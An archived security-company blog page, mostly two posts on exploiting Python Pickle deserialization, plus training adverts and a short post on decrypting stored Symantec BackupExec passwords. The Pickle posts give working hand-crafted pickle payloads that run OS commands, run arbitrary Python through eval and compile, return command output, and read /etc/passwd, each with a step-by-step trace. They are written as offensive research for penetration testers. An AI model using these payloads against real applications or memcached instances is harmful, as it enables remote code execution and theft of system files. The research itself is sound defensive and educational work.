Grey bar Blue bar
Share this:

Thu, 24 Feb 2011

Playing with Python Pickle #3

[This is the third in a series of posts on Pickle. Link to part one and two.]

Thanks for stopping by. This is the third posting on the bowels of Python Pickle, and it's going to get a little more complicated before it gets easier. In the previous two entries I introduced Pickle as an attack vector present in many memcached instances, and documented tricks for executing OS commands across Python versions as well as a mechanism for generically calling class instance methods from within the Pickle VM.

In this post we'll look at executing pure Python code from within a Pickle steram. While running os.system() or one of its cousins is almost always a necessity, having access to a Python interpreter means that your exploits can be that much more efficient (skip on the Shell syntax, slightly more portable exploits). I imagine one would tend to combine the pure Python with os.system() calls.

Normal execution of pure Python

Dynamic Python execution is normally acheived through the 'exec' statement. However, since 'exec' is a Python statement and not a class method, the depickler knows nothing about 'exec'. __builtin__.eval() on the other hand is a method that the depickler can call; however eval() normally takes an expression only. Thus,

eval("import os; os.system('ls'))

fails. It's worth noting that one can still call methods in expressions, so

eval("os.system('ls')")

can work if the 'os' module is present in the environment. If it isn't, you can still import 'os' with the expression:

eval("__import__('os').system('ls')")

or even execute a full code block with a double eval():

eval('eval(compile("import os;os.system(\\"ls\\")","q","exec"))')

Moral of that story: don't ever eval() untrusted input. Obviously.

However, we want to execute not only expressions but full Python scripts. eval() will also accept a code object, which is produced by compile(), and compile() will accept a full Python script. For example, to prove execution here's the venerable timed wait:

cmd = "import os; f=os.popen('sleep 10'); f.read()" c = compile(cmd,"foo","exec") eval(c)

Reaching into eval'ed code

Continuing with eval(), we try a similar example except we execute 'ls' instead of sleep (and do it in one line of Python). There's an important distinction here, and that is the return value of eval; notice how 'ls' returns nothing:

>>> ret=eval(compile("import os; f=os.popen('ls'); f.read()","foo","exec")) >>> print ret None

This is because eval() always returns "None" if the supplied code object was compiled with "exec" and means we need a different trick for extracting contents of the eval'ed script. Luckily our first idea worked (yay), so we didn't look further; there may be better/faster/easier options. That idea was to modify the script's globals (variables scoped for the entire script) inside the eval() call, and access globals outside the eval() calls. This works, as globals are passed into eval() and changes reflects after the call returns:

>>> print smashed Traceback (most recent call last): File "", line 1, in NameError: name 'smashed' is not defined >>> eval(compile("import os; f=os.popen('ls'); smashed=f.read()","foo","exec")) >>> print smashed Desktop Documents Downloads Library Movies Music ...

Converting to Pickle

In the example above, the global "smashed" is created inside eval(), and carried into the outer environment. It is quite easy to convert the eval(compile()) pattern into a Pickle:

c__builtin__ eval (c__builtin__ compile (S'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n' S"" S"exec" tRc__builtin__ globals )RtRc__builtin__ globals )R.

This executes 'ls -al', stores it in the "smashed" global variables and returns the whole globals dict as the end result of depickling. However, it is messy; globals contains other entries which is a waste of space and makes output harder to read. If we're inserting this into a broader pickle, we'd like to have more control (i.e. return a single string) rather than hope that whatever object we are injecting into can handle a dict.

Final exercise

Pickle does not appear to have a way of referencing dict entries (i.e. globals()['smashed'] in Python), so again we have to dig into the docs. The dict builtin supports a "get" method, but requires a class instance... which should sound a little familiar if you still recall the trick from the last post on reading output from os.popen. In Python terms what we're doing is:

code=compile("import os; f=os.popen('ls'); smashed=f.read()","foo","exec") eval(code) __builtin__.apply(__builtin__.getattr(__builtin__.dict,"get"),(__builtin__.globals(),"smashed"))

Converted into Pickle we get:

c__builtin__ eval (c__builtin__ compile (S'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n' S"" S"exec" tRc__builtin__ globals )RtR0(c__builtin__ globals )RS"smashed" tp0 0c__builtin__ getattr (c__builtin__ dict S"get" tRp1 0c__builtin__ apply (g1 g0 tR.

The execution trace of this Pickle stream is:

  1. 'c' -> find the callable "__builtin__.eval", push it onto the stack [SB] [__builtin__.eval]
  2. '(' -> push a MARK onto the stack [SB] [__builtin__.eval] [MARK]
  3. 'c' -> find the callable "__builtin__.compile", push it onto the stack [SB] [__builtin__.eval] [MARK] [__builtin__.compile]
  4. '(' -> push a MARK onto the stack [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK]
  5. "S'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'" -> push 'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n' onto the stack [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n']
  6. "S''" -> push '' onto the stack [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'] ['']
  7. "S'exec'" -> push 'exec' onto the stack [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'] [''] ['exec']
  8. 't' -> pop 'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec' and MARK, push ('import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec') [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [('import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec')]
  9. 'R' -> pop "__builtin__.compile" and "('import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec')", call __builtin__.compile('import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec'), push the code object onto the stack [SB] [__builtin__.eval] [MARK] [code_object]
  10. 'c' -> find the callable "__builtin__.globals", push it onto the stack [SB] [__builtin__.eval] [MARK] [code_object] [__builtin__.globals]
  11. ')' -> push an empty tuple onto the stack [SB] [__builtin__.eval] [MARK] [code_object] [__builtin__.globals] [()]
  12. 'R' -> pop "__builtin__.globals" and "()", call __builtin__.globals(), push the dict onto the stack [SB] [__builtin__.eval] [MARK] [code_object] []
  13. 't' -> pop code_object, and MARK, push (code_object, ) [SB] [__builtin__.eval] [(pop code_object, )]
  14. 'R' -> pop "__builtin__.eval" and "(pop code_object, )", call __builtin__.eval(pop code_object, ), push the None onto the stack [SB] [None]
  15. '0' -> pop None from the stack [SB]
  16. '(' -> push a MARK onto the stack [SB] [MARK]
  17. 'c' -> find the callable "__builtin__.globals", push it onto the stack [SB] [MARK] [__builtin__.globals]
  18. ')' -> push an empty tuple onto the stack [SB] [MARK] [__builtin__.globals] [()]
  19. 'R' -> pop "__builtin__.globals" and "()", call __builtin__.globals(), push the dict onto the stack [SB] [MARK] [<globals dict>]
  20. "S'smashed'" -> push 'smashed' onto the stack [SB] [MARK] [<globals dict>] ['smashed']
  21. 't' -> pop <globals dict>, 'smashed' and MARK, push (, 'smashed') [SB] [(<globals dict>,'smashed')]
  22. 'p0' -> store (<globals dict>, 'smashed') in register 0 [SB] [(<globals dict>,'smashed')]
  23. '0' -> pop (<globals dict>, 'smashed') from the stack [SB]
  24. 'c' -> find the callable "__builtin__.getattr", push it onto the stack [SB] [__builtin__.getattr]
  25. '(' -> push a MARK onto the stack [SB] [__builtin__.getattr] [MARK]
  26. 'c' -> find the callable "__builtin__.dict", push it onto the stack [SB] [__builtin__.getattr] [MARK] [__builtin__.dict]
  27. "S'get'" -> push 'get' onto the stack [SB] [__builtin__.getattr] [MARK] [__builtin__.dict] ['get']
  28. 't' -> pop __builtin__.dict,'get' and MARK, push (__builtin__.dict,'get') [SB] [__builtin__.getattr] (__builtin__.dict,'get')
  29. 'R' -> pop "__builtin__.getattr" and "(__builtin__.dict,'get')", call __builtin__.getattr(__builtin__.dict,'get'), push the attribute onto the stack [SB] [dict.get]
  30. 'p1' -> store dict.get in register 1 [SB] [dict.get]
  31. '0' -> pop dict.get from the stack [SB]
  32. 'c' -> find the callable "__builtin__.apply", push it onto the stack [SB] [__builtin__.apply]
  33. '(' -> push a MARK onto the stack [SB] [__builtin__.apply] [MARK]
  34. 'p1' -> push dict.get from register 1 [SB] [__builtin__.apply] [MARK] [dict.get]
  35. 'p1' -> push (<globals dict>, 'smashed') from register 0 [SB] [__builtin__.apply] [MARK] [dict.get] [(<globals dict>, 'smashed')]
  36. 't' -> pop dict.get,(<globals dict>, 'smashed') and MARK, push [dict.get,(<globals dict>, 'smashed')] [SB] [__builtin__.apply] [(dict.get,(<globals dict>, 'smashed'))]
  37. 'R' -> pop "__builtin__.apply" and "(dict.get,(<globals dict>, 'smashed'))", call __builtin__.apply(dict.get,(<globals dict>, 'smashed')), push the "smashed" value onto the stack [SB] ["Desktop\nDocuments\nDownloads\n..."]
  38. '.' -> pop and return value of "smashed", exit [SB]

Ending off

This post demonstrates a few concepts that are of interest to the Pickle hacker. We showed how to construct a Pickle stream such that arbitrary Python was executed during the deserialization process, we mentioned that it was possible to carry information from within an eval() call into the executing environment of the depickler, and finally we revisited the trick for indirectly calling class instance methods in order to return eval()'s value as the depickled object.

In the last posting on this topic, we'll look at tactical uses for all the Pickle hacking we've covered: where to find Pickle objects, where they're processed and how to modify objects in place. Stay tuned.

Mon, 15 Nov 2010

Playing with Python Pickle #2

[This is the second in a series of posts on Pickle. Link to part one.]

In the previous post I introduced Python's Pickle mechanism for serializing and deserializing data and provided a bit of background regarding where we came across serialized data, how the virtual machine works and noted that Python intentionally does not perform security checks when unpickling.

In this post, we'll work through a number of examples that depict exactly why unpickling untrusted data is a dangerous operation. Since we're going to handcraft Pickle streams, it helps to have an opcode reference handy; here are the opcodes we'll use:

  • c<module>\n<function>\n -> push <module>.<function> onto the stack. It's actually more subtle than this but this simplification works for us.
  • ( -> push a MARK object onto the stack.
  • S'<string>'\n -> Push <string> object onto the stack.
  • V'<string>'\n -> Push Unicode <string> object onto the stack.
  • l -> pop everything off the stack up to the topmost MARK object, create a list with the objects (excl MARK) and push the list back onto the stack
  • t -> pop everything off the stack up to the topmost MARK object, create a tuple with the object (excl MARK) and push the tuple back onto the stack
  • R -> pop two objects off the stack; the top object is treated is an argument and the lower object is a callable (function object). Apply the function to the arguments and push the result back onto the stack
  • p<index>\n -> Peek at the top stack object and store it in memo or register <index>.
  • g<index>\n -> Grab an object from memo or register <index> and push onto the stack.
  • 0 -> Pop and discard the topmost stack item.
  • . -> Terminate the virtual machine. If you're pasting the examples below into larger Pickle streams, make sure to remove the '.'
Executing OS commands

In the previous post, the canonical abuse case for unpickling untrusted data was listed: cos system (S'echo hello world' tR.

Let's step through this (the stack is included after each step, [SB] indicates the stack bottom):

  1. 'c' -> find the callable "os.system", push the callable onto the stack. [SB] [os.system]
  2. '(' -> push a MARK onto the stack [SB] [os.system] [MARK]
  3. "S'echo hello world'" -> push 'echo hello world' onto the stack [SB] [os.system] [MARK] ['echo hello world']
  4. 't' -> pop "echo hello world" and MARK, push the tuple "('echo hello world')" onto the stack [SB] [os.system] [('echo hello world')]
  5. 'R' -> pop "('echo hello world')" and "os.system", call os.system('echo hello world'), push the result back on the stack [SB] [0]
  6. '.' -> pop the result off the stack and terminate [SB], result was '0'
<rat-hole>

Perhaps one instruction that should be clarified is 'c', which loads a class based on the two arguments 'module' and 'class'. Pickle's docs define the behaviour as follows: "The class object module.class is pushed on the stack. More accurately, the object returned by self.find_class(module, class) is pushed on the stack". Our previous simplified definition said that the 'c' instruction loaded function references, and this is the case, however the full explanation shows that more types than function references can be loaded.

For our purposes we want to load classes that are callable, which is a requirement for the 'R' instruction. A callable is an object that has a "__call__" attribute which, if you're also not a Python programmer, means having to search for more information. An non-expert definition is something like: if the module has functions (e.g. os.system()) then these are suitable for 'c'. However, class instance method objects (x=Foo();x.bar()) are not suitable for the 'c' opcode since it cannot handle class instances. Also worth pointing out that the 'R' opcode doesn't care about what type of object it executes, so long as the object responds to "__call__". The interplay between 'c' and 'R' is important for the approach shown later, since 'c' is quite limited but 'R' can handle more types of objects.

What this rat-hole concludes with is that we have not come across a Pickle example showing how to execute method calls on class instance objects.

</rat-hole>

Let's try improve on the command execution example; it's cute for executing commands, but if the unpickling happens on an app server then we won't see the output of "os.system()" since it returns the retval of the shell rather than stdout/stderr. Any output of the command is printed to the server's stdout. Thus for our 'echo hello world' example, the unpickling returns '0' even though the command successfully ran.

Our first goal is to retrieve the output of commands in the reconstructed object. Initial ideas focused on manipulating the shell's return value to carry over output:

cos system (S'printf -v a \'%d\' "\'`uname -a | sed \'s/.\\{2\\}\\(.\\).*/\\1/\'`";exit $a;' tR.

This uses a combination of the shell's backtick and printf statements, sed and exit to return one character at a time in the exit status. However this too is messy; if the output changes between invocations this approach is pretty worthless and it's also noisy and low bandwidth.

The next option was "os.popen", however we quickly became bogged down. "os.popen()" returns an instance (e.g. proc=os.popen("echo foo")) and in order to access the output of the command, we'd need to call "proc.read()". However, the pickle instruction set doesn't appear to support calling instance methods directly as we've already mentioned. The next option was to look for other modules, and the 'subprocess' module did the trick with it's 'check_output()' function, which takes an executable and a set of arguments, runs the executable on the arguments and returns the contents as a string:

csubprocess check_output (S'uname' tR.

returns

'Darwin\n'

This looks like good news in that we're executing commands and viewing output, however the downsides quickly become apparent. "subprocess.check_output" does not invoke a shell, so we can't simply pass in "uname -a" as a single string, it needs to be broken up into arguments. More importantly though, "check_output" was only added in Python 2.7, so with earlier versions this won't work. We can easily overcome the first of these hurdles; "check_output" will take arguments specified in a list like so:

subprocess.check_output(["uname", "-a"])

We just need to craft the instructions to create a list and leave it on the stack:

csubprocess check_output ((S'uname' S'-a' ltR. This is identical to the previous example except for the additional MARK instruction '(', the '-a' string argument and the 'l' instruction to build a list from the previous MARK. This is a rough execution trace of the VM on the instruction sequence:

  1. 'c' -> find the callable "subprocess.check_output", push the callable onto the stack. [SB] [subprocess.check_output]
  2. '(' -> push a MARK onto the stack [SB] [subprocess.check_output] [MARK]
  3. '(' -> push a MARK onto the stack [SB] [subprocess.check_output] [MARK] [MARK]
  4. "S'uname'" -> push 'uname' onto the stack [SB] [subprocess.check_output] [MARK] [MARK] ['uname']
  5. "S'-a'" -> push '-a' onto the stack [SB] [subprocess.check_output] [MARK] [MARK] ['uname'] ['-a']
  6. 'l' -> pop "uname", "-a" and MARK, push the list "['uname','-a']" onto the stack [SB] [subprocess.check_output] [MARK] [['uname','-a']]
  7. 't' -> pop "['uname','-a']" and MARK, push the tuple "(['uname','-a'])" onto the stack [SB] [subprocess.check_output] [(['uname','-a'])]
  8. 'R' -> pop "(['uname','-a'])" and "subprocess.check_output()", call subprocess.check_output((['uname','-a'])), push the result back on the stack [SB] ['Darwin insurrection.local 10.4.0 Darwin Kernel Version 10.4.0: Fri Apr 23 18:28:53 PDT 2010; root:xnu-1504.7.4~1/RELEASE_I386 i386\n']
  9. '.' -> pop the result off the stack and terminate [SB], result was 'Darwin insurrection.local 10.4.0 Darwin Kernel Version 10.4.0: Fri Apr 23 18:28:53 PDT 2010; root:xnu-1504.7.4~1/RELEASE_I386 i386\n'
The result unfortunately carries a trailing newline, which is ugly. We can make use of the virtual machine to clean up the output for us, by calling "string.strip()" on the output:

cstring strip (csubprocess check_output ((S'uname' S'-a' ltRtR.

The trace has been omitted since it just includes another function call, but the approach hints at how one might go about dealing with class instances: attempt to call a module function on the class instance.

If the "check_output" method is relied upon, then we're still stuck with Python 2.7. Ideally we'd like to run "p=os.popen('ls -al');p.read()", however since the 'c' instruction required modules and classes, and could not handle class instances, it was not possible to perform this directly. It bears repetition though that the 'R' instruction could handle references to instance methods, since they are inherently callable. Thus we need to find a way to call an instance method using only functions. Cue a diversion into Python's introspection support:

  • __builtin__.getattr(foo, "attribute") returns foo.attr. e.g. __builtin__.getattr(file, "read") -> file.read
  • __builtin__.apply(func, [args]) executes func([args])
Using the introspection tricks and without calling methods on class instances explicitly, we can execute "p=os.popen('ls -al'); p.read()" with the following Python:

__builtin__.apply(__builtin__.getattr(file,"read"),[os.popen("ls -al")])

Converted into Pickle, this becomes:

cos popen (S'ls -al' tRp0 0c__builtin__ getattr (c__builtin__ file S"read" tRp1 0c__builtin__ apply (g1 (g0 ltR.

That's quite a mouthful, here's the breakdown:

  1. 'c' -> find the callable "os.popen", push it onto the stack [SB] [os.popen]
  2. '(' -> push a MARK onto the stack [SB] [os.popen] [MARK]
  3. "S'ls -al'" -> push 'ls -al' onto the stack [SB] [os.popen] [MARK] ['ls -al']
  4. 't' -> pop 'ls -al' and MARK, push ('ls -al') [SB] [os.popen] [('ls -al')]
  5. 'R' -> pop "os.popen" and "('ls -al')", call os.popen('ls -al'), push the opened file object onto the stack [SB] [<open file>]
  6. 'p0' -> store "<open file>" in register 0 [SB] [<open file>]
  7. '0' -> pop and discard topmost stack item [SB]
  8. 'c' -> find the callable '__builtin__.getattr', push it onto the stack [SB] [__builtin__.getattr]
  9. '(' -> push a MARK onto the stack [SB] [__builtin__.getattr] [MARK]
  10. 'c' -> find the callable '__builtin__.file', push it onto the stack [SB] [__builtin__.getattr] [MARK] [__builtin__.file]
  11. "S'read'" -> push 'read' onto the stack [SB] [__builtin__.getattr] [MARK] [__builtin__.file] ['read']
  12. 't' -> pop 'read', "__builtin__.file" and MARK, push (__builtin__.file, 'read') [SB] [__builtin__.getattr] [(__builtin__.file, 'read')]
  13. 'R' -> pop "__builtin__.getattr" and "(__builtin__.file, 'read')", call __builtin__.getattr(__builtin__.file, 'read'), push the returned object onto the stack [SB] [<method object for 'file.read'>]
  14. 'p1' -> store "<method object for 'file.read'>" in register 1 [SB] [<method object for 'file.read'>]
  15. '0' -> pop and discard topmost stack item [SB]
  16. 'c' -> find the callable '__builtin__.apply', push it onto the stack [SB] [__builtin__.apply]
  17. '(' -> push a MARK onto the stack [SB] [__builtin__.apply] [MARK]
  18. 'g1' -> retrive contents of register 1, push onto stack [SB] [__builtin__.apply] [MARK] [<method object for 'file.read'>]
  19. '(' -> push a MARK onto the stack [SB] [__builtin__.apply] [MARK] [<method object for 'file.read'>] [MARK]
  20. 'g0' -> retrive contents of register 0, push onto stack [SB] [__builtin__.apply] [MARK] [<method object for 'file.read'>] [MARK] [<open file>]
  21. 'l' -> pop "<open file>" and MARK, push the list "[<open file>]" [SB] [__builtin__.apply] [MARK] [<method object for 'file.read'>] [[<open file>]]
  22. 't' -> pop '<method object for '<file.read'>', "[<open file>]" and MARK, push the tuple "(<file.read'>, '[<open file>])" [SB] [__builtin__.apply] [(<method object for 'file.read'>,[<open file>])]
  23. 'R' -> pop "__builtin__.apply" and "(<method object for 'file.read'>,[<open file>])", call __builtin__.apply(<method object for 'file.read'>,[<open file>]), push the returned object onto the stack [SB] ['lrwxr-xr-x@ 1 root wheel 11 Mar 7 2010 /tmp -> private/tmp\n']
  24. '.' -> pop the result off the stack and terminate [SB], returned string was "lrwxr-xr-x@ 1 root wheel 11 Mar 7 2010 /tmp -> private/tmp\n"
This is really useful, since we can now return command output in any Python version that supports Pickle.

That's enough Pickle for today, I'll leave you with a final modification of the above pickle string, that reads and returns the contents of files:

c__builtin__ file (S"/etc/passwd" tRp0 0c__builtin__ getattr (c__builtin__ file S"read" tRp1 0c__builtin__ apply (g1 (g0 ltR.

Fri, 15 Oct 2010

Sensepost Training in November

Our next scheduled training sessions have been planned for November. If you're interested in attending, the dates and locations are:

1) HBN Bootcamp Edition 7-9th November, BlackHat Abu Dhabi

'Hacking By Numbers - Bootcamp Edition' is our 'introduction to hacking' course. It is strongly method-based and emphasizes structure, approach and thinking over tools and tricks. The course is popular with beginners, who gain their first view into the world of hacking, and experts, who appreciate the sound, structured approach.

2) HBN Extended (Cadet & Bootcamp) 9-12th November

The HBN 'Extended Edition' is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offers students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently offered in Switzerland and South Africa only, or can be arranged on request.

3) HBN Developer Edition 15-17th November

'Hacking By Numbers - Developer Edition' is a course aimed at arming web application developers with knowledge of web application attack techniques currently being used in the 'wild' and how to combat them. Derived from our internationally acclaimed 'Hacking By Numbers' security training, this course focuses heavily on two questions: "What am I up against?" and "How can I protect my applications from attack?" During the course sample applications will be dissected to discover security related bugs hidden within the code. The class will then consider prevention, detection & cure.

More information is available on our website at www.sensepost.com/training

or contact us on training@sensepost.com or call the office on 012-460 0880 to register.

Tue, 8 Jun 2010

SensePost's Training @ Black Hat Vegas '10 (win something)

After hearing our talk was accepted at BlackHat, we're happy to announce that our training will be back for it's 9th straight run. Speaking of a run, we're going to be hosting the usual marathon of courses: cadet, bootcamp, combat, web 2.0. But, while the names remain, we've spent some time updating the material. In particular, bootcamp, combat & web 2.0 have been through the ringer. We're hoping to get some detailed info on the updates out in the coming weeks.

In the meantime, if you're interested, check out our BlackHat training page, or sign-up.

In a cheap marketing ploy to introduce our new twitter account and remind people of our training, we're running one of those retweet competition things on twitter. In short, retweet this tweet, and if you're going to BH Vegas this year, you could win free attendance to one of our courses of your choice. That's worth about $2 700 at regular prices. Cheap marketing tricks for us == expensive training for you. We won't force you to tweet about how good looking we are (we are very good looking), or ask you for you password.

Tue, 9 Mar 2010

Decrypting Symantec BackupExec passwords

BackupExec agent is often among common services found on the internal pen tests. The agent software stores an encrypted "logon account" password in its backend MS SQL database (LoginAccounts table). These accounts include the "system logon account" which is used to run agent services and an optional number of active directory accounts that are used to access resources over the network. The following scenarios can result in access to encrypted passwords:

1- Backend MS SQL database compromise (database name is BEDB by default)

2- Access to BackupExec installation directory: A daily MS SQL backup job on BEDB database is run by BackupExec and the resulting backup file is stored as data/bedb.bak file under BackupExec installation directory. The backup file containing encrypted passwords can be restored on another system.

Encrypted passwords are 512 bytes long and the agent software decrypts them using bemsdk.dll file. The following C code can be used by to quickly decrypt the ciphers:

BackupExec decryptor

The above code has been tested with BackupExec 10.0.5484 (SP5) and should be working with other versions of BackupExec (Source code for the above program, you'll need a copy of the .dll).